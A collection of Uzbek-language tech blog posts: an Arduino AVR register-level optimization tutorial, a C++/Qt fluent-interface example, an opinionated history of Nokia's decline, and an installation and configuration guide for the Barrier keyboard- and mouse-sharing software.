
Uzinfocom Open Source jamoasidan [korrektor.uz](https://korrektor.uz) foydalanuvchilari uchun bahorgi sovg'a.

Bir necha oylik izlanishlar va jamoaviy mehnatlardan so'ng sizlar uchun yangi dasturlash tilida yozilgan algoritmlar, api va ulardan foydalanish uchun texnik qo'llanmalar taqdim etmoqchimisz.

Albatta yaqin orada asosiy interfeys tarjimonlar, muharrirlar va oddiy foydalanuvchilar uchun yangicha obrazda taqdim etiladi.

https://docs.korrektor.uz/
https://crates.io/crates/korrektor
https://github.com/uzinfocom-org/korrektor-rs

Eslatma: Korrektor ochiq manbalar asosida faoliyat olib boradi. Shu sababli texnik hujjatlar hamjamiyat tomonidan qo'llab quvvatlanadi. Agarda siz biror bir xatoliklarni kuzatsangiz bu haqida xabar [berishingiz](https://oss.uzinfocom.uz/contact) mumkin.


Uzinfocom Open Source jamoasidan korrektor.uz foydalanuvchilari uchun bahorgi sovg'a.

Korrektor.uz uchun api va texnik hujjatlar


Arduino board resurs tejamaydigan parazit dasturchilar uchun juda foydali qurilma hisoblanadi. Chunki ushbu kichik qurilmadagi resurslar bugungi kun uchun juda ham cheklangan. ATmega328P misolida buni ko'radigan bo'lsak:

**Flesh xotira**: 32 KB (0.5 KB bootloader uchun ishlatiladi)

**SRAM**: 2 KB

**EEPROM**: 1 KB

**SOAT TEZLIGI**: 16 MHz

Yuqoridagi xusuytlardan 32 KB xotira uchun dastur yozgan bilan ham uning ishlashi uchun sizda 2 KB dinamik xotira mavjud xolos. Qishlaqchasiga aytganda 2 KB ram.

Arduino uchun dasturlash tili C va C++ bazasida ishlab chiqilgan. Xohlovchilar albatta assemblerdan ham foydalanishlari mukin. Alohida interpretatsiya qilingan til sodda bo'lgani bilan resurslar masalasida tejamkor bo'la olmaydi. Shu sababli ham ushbu qurilma bilan doimiy ishlovchi dasturchilar har doim ham o'zlarining ideal loyihalarini chiqara olmasliklari mumkin.

Lekin qurilmaning qanday ishlashini o'rganidan bo'lsak undagi 2 KB xotira ham juda katta narsa ekanligini tushunib yetamiz. Axir Applening tarixi 4 KB bilan boshlangan edi.

## Lamercha kod yozish

Arduinoda yonib-o'chuvchi dastur kodini olaylik. Deyarli juda ko'pchilik quyidagi variantda kod yozishga odatlangan. Albatta bu juda sodda ko'rishishga ega. Lekin kompilyator bergan statistikaga qaraydigan bo'lsak juda kichik dastur uchun ham katta resurs ishlatilayotganini ko'rishimiz mumkin.

```
924 bytes (2%) of program storage space
9 bytes (0%) of dynamic memory
```

![sample code](https://i.ibb.co/gD2YrzQ/image.png)

## Manipulatsiya

Keling ishni arduino kutubxonalarini titkilashdan boshlasak. Quyidagi katalogda ko'rsatilgan fayl orqali `pinMode()` va `digitalWrite()` funsksiyalari qanday ishlashini ko'rishimiz mumkin. Ushbu funksiyalar oddiy foydalanuvchi uchun registerlarga yozishni soddalashtirib beryapti xolos. Bu esa ushbu funksiyalarsiz ham ishlash mumkinligini bildiradi.

`~/.arduino/packages/arduino/hardware/avr/1.8.5/cores/arduino/wiring_digital.c`
_Eslatma: Men linux OSdan foydalanaman, sizdagi operatsion tizim turiga qarab fayllar katalogi farq qilishi mumkin._

Atmega chipining texnik hujjatiga qaraydigan bo'lsak portlarning uchta seksiyaga qarab bo'linganini ko'ramiz:

**B** - 8dan 13gacha bo'lgan pinlar (D8-D13)

**C** - analog pinlar (A0-A5)

**D** - 0dan 7gacha bo'lgan pinlar (D0-D7)

Registerlarni boshqarish:

**DDR** - pinlarni kiritish yoki chiqarish rejimini boshqarish

**PORT** - pinni yoqish yoki o'chirish (HIGH va LOW)

**PIN** - kiritish pinlaridagi holatni o'qish

Demak arduinoning uchta pin blokdan tashkil topganini hisobga oladigan bo'lsak:

**-DDRB, PORTB, PINB** - 8 dan 13 gacha bo'lgan pinlar uchun

**-DDRC, PORTC, PINC** - A0 dan A5 gacha bo'lgan pinlar uchun

**-DDRD, PORTD, PIND** - 0 dan 7 gacha pinlar uchun

Har bir registrdagi bir bit bitta pinga mos keladi, DDRB misolida:

<table border="1" width="100%" border-collapse="collapse" style="text-align: center; ">
<thead>
<tr>
<th>XTAL</th>
<th>XTAL</th>
<th>D13</th>
<th>D12</th>
<th>D11</th>
<th>D10</th>
<th>D9</th>
<th>D8</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>1</td>
<td>0(1)</td>
<td>0(1)</td>
<td>0(1)</td>
<td>0(1)</td>
<td>0(1)</td>
<td>0(1)</td>
</tr>
</tbody>
</table>

_\* - Pinlar soni 6ta bo'lishiga qaramasdan kristal sababli 8 bitda berilishi lozim (XTAL)_

Yuqorida biz DDRB registrida 8 dan 13 gacha pinlar rejimini kirish yoki chiqish sifatida boshqarish imkoniyatini ko'rishimiz mumkin. Misol uchun, agar 8-pin uchun bit **0 qiymatiga** ega bo'lsa, bu 8-pin uchun **kirish rejimini** anglatadi , aks holda **1 qiymatida** bo'lsa, **chiqish rejimi**.

Arduino dasturi uchun kiritish (misol):

**DDRB=B11111111;** - olti pinning barchasi uchun chiqish rejimini yoqish

**DDRB=B11111100;** - 8 va 9 pinlarni kirish va 10 dan 13 gacha bo'lgan pinlarni chiqish uchun sozlash.

Yoki hex orqali kiritish:

**DDRB=0xff;**

**DDRB=0xfc;**

Chiqish rejimida pin holatini o'chirish va yoqish ham xuddi **DDRB** kabi ishlaydi. Faqat bundan **PORTB** orqali berish lozim:

**PORTB = B11111111;** - Barcha pinlarni yoqish

**PORTB = B11011111;** - 13-pinni o'chirish

Led chiroq yonib-o'chuvchi dastur misolida:

```c
void setup() {
  DDRB=B11100000; // 13-pinni chiqish uchun sozlash
}

void loop() {
  PORTB=B11100000; // 13-pinni yoqish
  delay(1000);
  PORTB=B11000000; // 13-pinni o'chirish
  delay(1000);
}
```

```
648 bytes (2%) of program storage space
9 bytes (0%) of dynamic memory
```

`pinMode()` va `digitalWrite()` funksiyasi bilan yozilgan koddagi resurs bilan solishtiradigan bo'lsak 276 baytga farq qildi.

## setup() va loop() funksiyalaridan kechish

Arduinoda `void setup()` funksiyasi qurilma yongandan so'ng turli sozlamalarni berishga ishlatiladi. `void loop()` esa kristal tezligiga qarab cheksiz sikl hisobida ishlaydi.

Demak `void setup()` va `void loop()` funksiyalarini AVR kodlaridan izlaymiz.

`~/.arduino/packages/arduino/hardware/avr/1.8.5/cores/arduino/main.cpp`

Ushbu fayl ichida setup() va cheksiz sikl ichida loop() funksiyasiga qilingan murojaatni ko'rishimiz mumkin. Demakki biz `setup()` va `loop()` funksiyalaridan voz kechib to'g'ridan to'g'ri `int main (void)` orqali dasturni yoza olamiz. Qo'shimcha sifatida esa serial uchun ajratilgan ortiqcha qismlarni ham chetlashimiz mumkin (serial port, kristalning ashaddiy qotili).

![main.cpp](https://i.ibb.co/f2cByJ0/Arch-Labs-2022-10-04-58-1920x1080.png)

Birinchi kod:

```cpp
int main() {
  DDRB = B11100000; // 13-portni chiqish uchun sozlash
  while (true) { // cheksiz sikl
    PORTB = B11100000; // 13-portni yoqish
    delay(1000); // 1 soniya kutish
    PORTB = B11000000;  // 13-portni o'chirish
    delay(1000); // 1 soniya kutish
  }
}
```

```
500 bytes (1%) of program storage space
9 bytes (0%) of dynamic memory
```

Sarflangan resurslar:

**pinMode** va **digitalWritega** nisbatan farq: 424 bayt

**setup()** va **loop()** ga nisbatan farq: 148 bayt

## Delay uchun alternativ

Lekin yuqoridagi kodimizni ishga tushiradigan bo'lsak 13-pin doimiy yoniq qolayotganini ko'rishimiz mumkin. Chunki `Arduino.h` kutubxonasi ishga tushmayapti va shu sababli `delay()` funksiyamiz ham o'z ishini bajarmayapti.

Demak delay uchun muqobil variant qo'llashimiz kerak. Buning eng optimal usuli esa for sikli hisoblanadi. Lekin for siklni ham bo'l holatda qoldirib bo'lmaydi. Shu sababli kompilyatorni chalg'itish uchun chunchaki `asm()` funksiyasidan foydalanamiz. Buda komplyatorda xuddiki assembler kodini ishga tushirayotgandagi kabi tasasavvur paydo bo'ladi va oraliq pauza kuzatiladi.

```c
for (long i = 0; i < 500000; i++) {
  asm("");
}
```

```c
int main() {
  DDRB = B11100000;
  while (true) {
    PORTB = B11100000;
    for (long i = 0; i < 500000; i++) {
      asm("");
    }
    PORTB = B11000000;
    for (long i = 0; i < 500000; i++) {
      asm("");
    }
  }
}
```

```
178 bytes (0%) of program storage space
0 bytes (0%) of dynamic memory
```

Sarflangan resurslar:

**pinMode** va **digitalWritega** nisbatan farq: 746 bayt

**setup()** va **loop()** ga nisbatan farq: 322 bayt

## Piru komil rejimi

924 baytdan 178 baytga tushish yomon natija emas albatta. Lekin bunga ham qoniqmaydilarga uchun PINB orqali ham inversiya amalga oshirish mumkin (`boolean = !boolean`)

```c
int main() {
  DDRB = 0xE0;
  while (true) {
    PINB = 0xE0;
    for (long i = 0; i < 1000000; i++) {
      asm("");
    }
  }
}
```

```
158 bytes (0%) of program storage space
0 bytes (0%) of dynamic memory
```

## Xulosa

Inson tiliga yaqinlashganimiz sari resurslar sarfidan yutqazib boraveramiz. Misol uchun pythondagi 1 qator kod qiladigan vazifa C tilida 100 qator bo'lishi mumkin. Lekin resurs va tezkorlik jihatdan 100 qator kod doimiy birinchilikda qolaveradi. Chunki 1 qator kodni minglab qatorlarda yozilgan kodlar orqali qurilmagan tushuntirish lozim.

Agarda qurilma bilan to'g'ridan to'g'ri muloqot qilish arzon tushadigan bo'lsa, nega shu yo'ldan foydalanmasligimiz kerak?


Arduino board resurs tejamaydigan parazit dasturchilar uchun juda foydali qurilma hisoblanadi. Chunki ushbu kichik...

Avr uchun kodlarni optimizatsiya qilish


Fluent interface'ni O'zbek tiliga "Ravon interfeys" deb tarjima qilgan maqulmikin bilmadim. Odatdagidek o'quvchilar uchun allambalo bo'lib ketmasin deb o'z holicha qoldirgan maqul menimcha.

Obyektning bunday qobiliyati bilan ishlashni php, javascript, java dasturchilar juda yaxshi bilishadi. Asosan javascriptda juda keng miqyosda qo'llaniladi.

Bilmaganlar uchun esa Fluent interface'ni obyektni qurish vaqtida o'z-o'ziga murojaatini ta'minlab berish deb tushunish mumkin.

Misol uchun oddiy tuzuilgan obyektni olaylik. Undagi har bir metodlarga alohida nusxa asosida murojaat qilishimiz kerak. Bu esa o'z navbatida kodning rasvo darajaga kelib qolishiga sabab bo'lishi mumkin. Kichikroq loyihalardan bilinmaydi, lekin kattaroq loyihalarda bu sezilarli muammolarni keltirib chiqarishi mumkin.

```c++
class Uy {
	public:
	    void mushuk(QString ismi){
	        o_ismi = ismi;
	    };

	    void azolar(int soni){
	        o_soni = soni;
	    }

		void malumot(){
	        qDebug() << "Mushuk nomi:" << o_ismi;
            qDebug() << "Oila a'zolar:" << o_soni;
	    }
	private:
		QString o_ismi;
		int o_soni;
};

int main(int argc, char** argv) {
	Uy uy;
    uy.mushuk("Dangasa");
    uy.azolar(2);
}
```

Yuqoridagi kodni fluent interface variantini ko'radigan bo'lsak:

```c++
class Uy {
    public:
        Uy& mushuk(QString ismi){
            o_ismi = ismi;
            return *this;
        };

        Uy& azolar(int soni){
            o_soni = soni;
            return *this;
        }

        Uy& malumot() {
            qDebug() << "Mushuk nomi:" << o_ismi;
            qDebug() << "Oila a'zolar:" << o_soni;
            return *this;
        }

    private:
        QString o_ismi;
        int o_soni;
};

int main(int argc, char** argv) {
	Uy uy;
    uy.mushuk("Dangasa").azolar(2).malumot();
}
```

E'tibor berganingizdek ikkinchi variantda obyektning tuzilishi ozgina murakkablashdi. Lekin keyinchalik undagi metodlarga qilinadigan murojaatlar soddalashdi. Bu esa minglab qatorlarga ega loyihalarda kodni o'qish jarayonini yanada soddalashtirib beradi. Shuningdek minglab qatorlarni qisqartirishga ham yodam beradi.

Fluent Interface aslida bundanda ko'proq imkoniyatlarga ega, bu haqida albatta ko'proq izlanib topasiz. Agarda sizga kod qatorlariga qarab haq to'lashmasa bu imkoniyatlardan ko'proq foydalaning. Zero o'zingiz va o'zgalar vaqtini ham tejaysiz bu bilan.


Obyektning bunday qobiliyati bilan ishlashni php, javascript, java dasturchilar juda yaxshi bilishadi. Asosan javascriptda...

C++(QT)'da fluent interface

Iphone qurilmasing tarixi va siz bilmagan Stiv Jobs

Tashlandiq laboratoriyadagi tajribalar - yoxud Iphone siri


Bugun ushbu brendni eshitgan odam xayoliga birinchi navbatda nostalgiya kelsa kerak. Tarixni eslab ko'z yoz qilishga shoshilmang. Nokia hali ham biz bilan, katta kompaniyalardan boshlab Ilon Mask tirikchiligigacha shularga bog'liq.

Avvalo kompaniyaning o'z tarixidan boshlasak. Qadim-qadim zamonlarda 19-asrning ikkinchi yarmida, Finlandiyaning chekka bir qishlog'ida Frederik Idestam ismli amaki kompaniyaga asos solgan. Nokia avvaliga yog'ochni qayta ishlash ya'ni qozog' ishlab chiqarish bilan shug'ullangan. Kompani nomi Finlandiyadagi Nokianvirta daryosi nomidan kelib chiqqan. Fincha nois ko'plikda esa nokia - qora suvsar ma'nosini anglatadi.

![](https://telegra.ph/file/624828df4759603173fbb.png)

Nokianvirta

1896-yildan boshlab kompaniya elektronika dunyosiga kirib kela boshlagan. Ularning birinchi navbatdagi mahsulotlari elektr energiyasi va uning taqsimoti uchun kabellar ishlab chiqarish bo'ldi. Albatta keyinchalik buning o'zi bilanoq cheklanib qolishmadi, velosiped&avtomobil va ular uchun ehtiyor qismlar, shinalar, harbiy aslahalargacha yetkazib berishgan.

![](https://telegra.ph/file/52b3fc47e561763b6832c.png)

Nokia etiklarini kiygan bo'larmidingiz?

1960-yilga kelib AT&T tomonidan tijorat modemlari, 1963-yilda esa Bell System tomonidan birinchi radiotelefon taqdim etildi. Nokia esa butun dunyoni hayratga solgan holda 1969-yilda impulslarni modulatsiya qiluvchi uskuna asosida raqamli telefoniyani taqdim qilib qo'ya qoldi. 1970-yilda esa Nokia DX 200 avtonom telefon stansiyasini kommunikatsiya bozoriga chiqarishdi. Shu orqali kompaniya yangi avlod texnologiya bozorida peshqadamlarning biriga aylanishni boshladi. Shuningdek o'sha davr miqyosida nokia birinchi marotaba ARPni dunyoga taqdim etdi. ARP bu avtomobillarda qo'llanilgan radiotelefoniya standarti hisoblanadi.

![](https://telegra.ph/file/bdd32a61cd5b411865c92.png)

Nokia tomonidan ishlab chiqilgan harbiy xabar almashuvchi qurilma

Nokia kompyuter qurilmalari olamini ham chetlab o'tmagan. 1981-yil 29-sentabrda birinchi shaxsiy kompyuter MikroMikkoni taqdim etishdi. Keyinchalik ushbu kompyuter Fujitsu tomonidan ErgoPro markasi ostida ishlab chiqarilgan.

![](https://telegra.ph/file/153da32589bb7f2a92eee.png)

Mobil telefonlarga keladigan bo'lsak. Nokiani bu qismda alohida e'tiborga olmaslik imkoni yo'q. 1991-yilda birinchi GSM telefon Nokia 1011 ishlab chiqarilgan bo'lsa, deyarli 25-yildirki butun dunyoning katta qismini o'zlarining ushbu turdagi qurilmalari bilan to'ldirishdi. Bugungi kungacha kompaniya o'zining mijozlariga 600dan ortiq turli modellarni taqdim etgan (tasavvurga sig'dirish oson emas).

Lekin aynan mobil telefonlar masalasi nokianing jahon bozoridan ketishiga majbur qildi. Albatta MicroSoftdek kompaniya uni vayron qilmaganiga hozir hammasi boshqacha bo'lardi.

![](https://telegra.ph/file/a147014d5a58623e94d11.png)

2008-yilgi xalqaro krizis davri nokia uchun ham zarar yetkazmasdan qolmagan. Shuningdek aynan o'sha davrlarda Apple tomonidan yaxgi taqdim etilgan Iphone, Googlening androidlari bozorning katta qismini egallashni boshlagan edi. Iphone birinchi versiyasi taqdim qilingandayoq nokia mahsulotlarning sotuv hajmi 53%ga tushib ketgan edi.

Qulash davrida Yorma Ollila kompaniyaga rahbarlik qilgan. Aynan shu inson sababli jahon hamjamiyati katta miqdordagi nokia telefonlariga ega bo'lgan. Boshlang'ich krizisda Yorma vaziyatdan chiqish uchun turli yo'llarni qidirishni boshlaydi, asosiy navbatda u symbian hech qachon android yoki ios bilan raqobat qila olmasligini bilar edi. Shu sababli nokia o'zining Maemo tizimini ishlab chiqishni boshlaydi. Albatta kompaniya boshida ushbu tizim uchun yetarlicha sarmoya kiritmagan. Buning o'rniga ular boshqaruv tizimini ya'ni rahbariyatni yaxshilash borasida bosh qotirishgan. Boshqaruv uchun esa Risto Siylasmani taklif etgan. Risto mantiqiy jihatdan yaxshi kadr edi. Chunki aynan shu inson tomonidan symbian os uchun antiviruslar, xavfsizlik qismlari ishlab chiqarilgan. Shuningdek Risto boshqaruvga kelgan vaqtining o'zidayoq kompaniyaning yaxshi bir muammosini aniqlay olgan. Aniqroq aytadigan bo'lsam nokiada har bir qurilmani ishlab chiqarish uchun alohida jamoalar, jamoa ichida alohida muhandislar, analitiklar, marketologlar faoliyat yuritgan. Qurilma bir biriga yaqin prinsipda ishlab chiqilgan bo'lsada dasturiy qism alohida sanalgan. Shuningdek turli jamoalar har doim ham bir birlari bilan yaqin aloqada bo'lishmagan. Masalan nokianing biror bir qurilmasida muammo chiqadigan bo'lsa va xuddi shu muammo boshqa qurilmada ham uchrasa, buni to'g'rilash uchun odatda jamoalar turliligi sabab ko'proq vaqt ketgan, ba'zida shundayligicha qolgan.

![](https://telegra.ph/file/f392e70e9a58f4cf17654.png)

Risto Siylasma

Risto esa umumlashtirish taklifini kiritadi. Eslatib o'tish kerak bu takliflardan avval, ya'ni aynan shu inqiroz boshinig o'zidayoq kompaniya kapitali 111 milliard dollarga ega edi, ayni damda esa 30 milliard dollar.

2008, 2009-yillar ham nokia uchun juda qayg'uli darajada omadsiz keldi deb bo'lmaydi. Samsung yangi avlod telefonlarida sifatli ekranlar taqdim etgan vaqtda, nokia undan orqada qolishni boshlagan edi. Lekin sunday holatda ham kompaniya bundan katta miqdorda zarar ko'rmagan. Aniqrog'i bu ikki yildan foyda bilan chiqishgan.

Aynan shu sababli ikki rahbar fikrlari o'rtasida turli ziddiyatlar chiqishni boshlagan. Raqobatchilardan yaxshi modellar chiqib kelishi nokiani o'ldira olmadi. Yorma kompaniyani o'z holicha qoldirishni istadi. Risto esa zaruriy holat bilan strukturani to'liq almashtish fikrida edi.

O'sha davrlarda Nokia jahon bozori sifatida Shimoliy Amerikani ham qo'lgan olishni rejalashtirgan edi. Ularga esa Amerika xarakteridan yaxshi xabardor inson kerak edi. Bu uchun Microsoftdan Stiven Elop tanlab olindi.

Elop kompaniyalar uchun daromad olib keladigan oltin baliq sifatida ko'rilgan doim. Masalan Macromediada rahbarlik qilgan vaqtida Macromedia Flash player orqali Adobega juda katta daromad keltira olgan. Shuningdek "Jupiter Networks"dagi bir yillik faoliyati davomida kompaniya aksiyalarini 75%ga ko'tara olgan. Keyinchalik Microsoftda ham Office mahsulotlari sotish masalasida faoliyat olib borgan. Nokia aynan shu sababli ushbu insonni taklif qilishni yaxshi yechim deb qaraydi.

Elopni nokiaga Yorma amaki taklif qiladi. Bu taklif uchun esa shunchaki ishga kirishning o'ziga Elopga 6 million dollar pul mablag'i beriladi. Tasavvur qilib ko'ring biror kompaniyaga ishga kirishga rozi bo'lganingiz uchungina sizga 6 million dollar pul to'lashsa :)

![](https://telegra.ph/file/42e3f68abc94e60dff6f2.png)

Stiven Elop

Yangi xodimning tashrifi kompaniya uchun omad keltirdi deb bo'lmaydi. Elop, Risto va Yorma o'rtasidagi ziddiyatdan foydalana oldi. U Risto bilan ittifoqdosh bo'ldi. Shuningdek yana bir qiziq tomoni Yorma uchun direktorlar kengisha bilan uchrashishga ham ruxsat bermadi. Bu orqali esa nokia imkoniyatlarini o'rganishni boshlaydi. Nokia qulashni boshlagan edi, lekin chala jon jangchi bo'lsada butun dunyo bozorining 31% qismiga egalik qilardi. Ya'ni har qanday holatda ham nokiani qulatish imkoni yo'q edi. Lekin uni qulatishdi.

Elop faktlar va raqamlar orqali manipulatsiya qilishni boshladi. Statistikalarni rasvo holatda ko'rsatib nokiani android va applega raqobat qila oladigan yangilik qilishga jalb qila boshladi. Meegoni esa muvaffaqiyatsiz loyihaga chiqardi. Aslidachi? Aslida barchasi unday bo'lmagan. Nokiada raqobatchilarda mavjud bo'lmagan va boshqalar qila olmaydigan o'ziga xos texnologiyalar ham bor edi. Modemlar, akkumlyatorlar, kameralar. Ulardagi yagona kamchilik dasturiy qismda edi xolos. Ammo bu muammoni meego va maemo hal etishi kerak edi. Meego o'z davri uchun juda yaxshi operatsion tizim bo'lgan. Chiroyli, qulay va tezkorlik bilan ishlar edi. Elop esa Meego asosidagi qurilmalarni qimmatlikda ayblash va ular uchun yetkaziladigan ilovalarni ta'minlash imkonsizligini bahona sifatida olishni boshladi. Lekin meego qurilmalar o'sha davrda android va appledan arzon bo'lgan. Meego&Maemo uchun ilovalar ishlab chiqarish ham muammo emas edi. Shuningdek ushbu opratsion tizim linux debian asosida qurilgani sabab android va desktop ilovalarni osonlikcha o'qitish imkoni mavjud edi.

![](https://telegra.ph/file/448adccb9e0033f25df67.png)

Maemo ishchi stolidan namuna

Boshqa bir operatsion tizim sifati Android bor edi. Lekin google to'liq boshqaruvchi hech qachon nokiaga taqdim etmas edi. Shu sababli yechim sifatida birgina variant windowsga o'tish taklifi kiritildi :)

Mobil Windows bu kompyuter uchun ishlab chiqarilgan versiyaning juda ko'p qismini olib tashlangan varianti bo'lgan. Nokia qurilmalarida ushbu operatsion tizimdan foydalanganlar boshida mamnun edi. Chunki operatsion tizim sekinlashmasdan ishlar edi. Mantiqan to'g'ri, hech vaqosi bo'lmagan tizim qanday sekinlashsin?

Windows mobileda kamchiliklar avvalgi symbian yoki meego&maemodan ham ko'proq edi. Meego&Maemo opensource asosida qurilgani sababli hamjamiyat tomonidan kamchiliklar to'g'rilash tezkorlik bilan amalga oshirilardi. Windowsda esa buning imkoni yo'q. Aynan shu sabab windows mobiledagi kamchiliklar to'g'rilanishini mijozlar bir necha yillar kutishdi.

2011-yillarga kelib nokiada bir necha turdagi shaxsiy operatsion tizimlar bo'lgan:

_symbian: Smartfonlar uchun_

_s30 va s40: Oddiy telefonlar uchun_

_meego: smartfon, noutbuk, planshet va televizorlar uchun_

_maemo: n seriyalali qurilmalar uchun_

_meltemi: arzon smartfonlar uchun sysbianga alternativ_

Rahbariyat esa muammolarga ko'ndalang yechim topish uchun konkret savollarni berishni boshladilar. O'zlaridagi operatsion tizilarni saqlab qolishlari kerakmi yoki boshqa bir operatsion tizimga o'tish? Agarda boshqa turdagi operatsion tizimga to'laqonli o'tishmoqchi bo'lishsa bu konkret android bo'ladimi yoki windows?

Elop symbian va boshqa operatsion tizimladan voz kechgan holda windows foydasiga ishlash taklifini olg'a suradi albatta. Nokia investorlari va boshqa rahbarlar esa bunga qarshiliklaricha qolishgan edi. Elop bunday vaziyatdan chiqish uchun aynan shu yilning feval oyida butun kompaniya xodimlariga elektron xabar yo'llaydi.

Xabarda Elop kompaniyani muzlagan okegan ustida yonayotgan neft platformasiga qiyoslaydi. Xodimlarga esa ikkisidan birini tanlash savolini qoldiradi. Ya'ni olovda yonish yoki suvda cho'kish. Shuningdek u apple, android va xitoyning turli kompaniyalari ulardan uzib ketayotgani, nokia esa texnologik jarayonda orqada ketayotganini ham ta'kidlaydi.

Xodimlarga yuborilgan xabar tasodifan OAVgacha yetib boradi va "Nokia bosh direktori o'z mahsulotlari sifatsiz va raqobatbardosh emas deb o'ylaydi" sarlavhasi ostida chop etiladi. **Bu esa nokianing o'limi edi...**

![](https://telegra.ph/file/4e01562f795cf31ac4b1a.png)

Keyinchalik nima bo'lganidan xabaringiz bo'lsa kerak. Nokia to'laqonli windowsga o'tdi. Birinchi mahsulot sifatida esa lumia 800 taqdim etildi. Ihtehzo qiladigan bo'lsak bu meego asosida qurilgan n9 edi aslida. Faqatgina yangi OS va korpusda windows logotipi tushirilgan holatda. Qachonlardir nokia voz kechgan model.

Nokia o'zi tanlagan yangi operatsion tizimda ko'p ham yashay olmadi. Microsoft atiga 5 milliard dollarga brend va unga tegishli potentlarni sotib oldi. Elop ham bundan foyda ko'rdi. Kompaniya sotilganidan so'ng salkam 10 million yevro premiya, 4 million yevro kompensatsiya, 20 million yevro hajmga ega nokia aksiyalari va 1.4 million yevroga ega oylik. Aniq aytadigan bo'lsak Stiven Elop nokia sotilishidan umumiy 33 86 0000 yevro foyda ko'rdi. Microsoft Elopni ko'p ham olib qolmadi. Keyinchalik kadrlar qisqaruvi bahonasida ishdan bo'shatib yuborishdi.

![](https://telegra.ph/file/4abe59cec958e8aef0753.png)

Noki brendi albatta bugun ham tirik. Mobil telefonlar bozorining 1% qismini ham egallay olmagan. Daromad sifatida esa asosan 5G orqali kun ko'rmoqda. Nokianing sodiq va yaxshi injinerlari sabab 5G ham ular tomonidan rivojlantirilmoqda.

Achinarlisi esa nokia degan nom maktab laboratoriyasiga o'xshash joyda qolgan xolos.


Tarixdagi eng kuchli kompaniyaning achinarli tarixi haqida

Nokia - Ajdarning o'limi


Agarda siz crossplatform dasturchi bo'lsangiz bir vaqtning o'zida bir necha kompyuter bilan ishlashingiz tabiiy holat. Har bir kompyuterni alohida qurilmalar bilan boshqarish esa ba'zan shunchaki odamni ezadi...

Ish stoli uchun ham bu jarayon noqulaylik tug'ridagi. Birdaniga 2 klaviatura va sichqoncha bilan ishlash kimga ham yoqadi deysiz :)

Ushbu muammoni hal qilish uchun aslini olsa turli qurilmalar allaqachon ishlab chiqilgan. Ularni odatda "**KVM switch**" deb nomalashadi. Lekin bu matahni O'zbekistonda topish xuddi ta'lim tizimimizga o'xshaydi (Muammoning o'zginasi). Topgan taqdirda ham arzon turmaydi.

Shunday ekan eng yaxshi yechim biz uchun tarmoq orqali bo'lishish hisoblanadi. Hozirda qurilmalar orasida tarmoq hosil qilish muammo emas. Deyarli barchamizning uyimiz yoki ish stansiyamizda simli va simsiz mashuritizatorlar bor (**LAN, WLAN**).

Opensource dasturlar orasida esa bu uchun yetarlicha yechimlar ham qilingan. Masalan ulardan biri biz hozir aynan foydalanib ko'radigan "[**Barrier**](https://github.com/debauchee/barrier)" dasturi hisoblanadi.

Ushbu dastur foydalanuvchilar qulaylik sifatida sichqoncha va klaviaturani local tarmoq orqali ulashish imkonini beradi. Shuningdek crossplatform, ya'ni bir vaqtning o'zida Linux, Windows va MacOS kabi operatsion tizimlarda muammosiz ishlay olasiz.

Demak ishni dasturni o'rnatishdan boshlasak:

**Windows** va **MacOS** uchun dasturni o'rnatish unchalik ham muammo emas. Hal holda ularda tayyor arxivlangan fayl beriladi. **Linux** uchun esa turli-xildagi distributivlarga qarab repositoriyalar belgilangan (Source code'dan o'rnatish ancha samarali).

**MacOS**: [https://github.com/debauchee/barrier/releases/download/v2.4.0/Barrier-2.4.0-release.dmg](https://github.com/debauchee/barrier/releases/download/v2.4.0/Barrier-2.4.0-release.dmg)

**Windows:** [https://github.com/debauchee/barrier/releases/download/v2.4.0/BarrierSetup-2.4.0-release.exe](https://github.com/debauchee/barrier/releases/download/v2.4.0/BarrierSetup-2.4.0-release.exe)

**Linux debian/ubuntu(22.04):**

```bash
sudo apt install barrier
```

**Linux arch:**

```bash
sudo pacman -S barrier
```

**Linux fedora**

```bash
sudo dnf install barrier
```

**Linux source code orqali o'rnatish:**

```bash
sudo apt update && sudo apt upgrade
sudo apt install git cmake make xorg-dev g++ libcurl4-openssl-dev libavahi-compat-libdnssd-dev libssl-dev libx11-dev libqt4-dev qtbase5-dev
cd /tmp
git clone https://github.com/debauchee/barrier.git
cd barrier
git submodule update --init --recursive
./clean_build.sh
cd build
sudo make install
```

**Dasturni sozlash:**

Dasturni sozlash sizga unchalik ham muammo tug'dirmaydi. Buning uchun dasturning ish rejimi tanlanadi, so'ngra kerakli qurilmalar ulab chiqiladi.

Dastur ish vazifasiga ko'ra ikki turdagi rejimni o'z ichiga olgan.

- Server - Asosiy sizdagi klaviatura va sichqonchani ulashuvchi qurilma
- Client - Siz qo'shimcha boshqarishni xohlaydigan qurilma

Agarda dastur server sifatida belgilansa qurilma o'zida **24800** porti asosida virtual server yaratadi. So'ng boshqa qurilmalar ushbu port va server ip manzili orqali ulanishlari mumkin bo'ladi.

Shuningdek eslatib o'tish kerakki local tarmoqda foydalanish vaqtida SSL'ni o'chirib qo'ygan maqul (ikki tomondagi qurilmada ham). Qolaversa har bir qurilma uchun takrorlamas alohida "**screen name**" berish ham maqsadga muvofiq hisoblanadi. Ushbu nom orqali keyinchalik tarmoq hosil bo'ladi.

![](https://telegra.ph/file/d78e9e256df20f45e7cf8.png)

Dasturning asosiy oynasi

**SSL'ni o'chirish va screen name'ni sozlash (mijoz kompyuterida screen name boshqa nomda bo'lishi lozim):**

![](https://telegra.ph/file/5a04b17ab02e79688c22e.png)

Sozlamalar oynasi. F4 tugmasi orqali ochiladi!

**Client'larni sozlash:**

Bu uchun server kompyuterdagi dasturning asosiy oynasidan **"Configure server"** oynasi ochiladi, so'ngra mozayka shaklida o'zingizga moslab kompyuterlarni qo'shasiz. Yangi **client** qo'shish uchun yuqori burchakdagi kompyuter ikonasi sichqoncha orqali mozaykaga tortib yuboriladi.

![](https://telegra.ph/file/5b3179cd25dd65a962add.png)

Server configuration oynasi

Mozaykaga kerakli kompyuter oynasi qo'yilgach ikona ustiga sichqoncha bilan ikki marotaba bosiladi so'ngra **client** kompyuterdagi **screen name** kiritiladi.

![](https://telegra.ph/file/477deec8910bbdc8df771.png)

Screen settings oynasi

**Client qismini sozlash:**

Client qismn sozlash anchagina oson. Bu uchun shunchaki server kompyuterinig ip manzili kiritiladi xolos.

![](https://telegra.ph/file/2688dc488a3a678681ae2.png)

Client dasturi oynasi

**Dasturni ishga tushirish:**

Ikki qismdagi dasturlar ham to'liq sozlangach avval **server** dasturida so'ng **client** dasturida "**start**" tugmasini bosish kifoya. Shundan so'ng dastur ishga tushadi va qurilmalar bir biri bilan ulanadi.


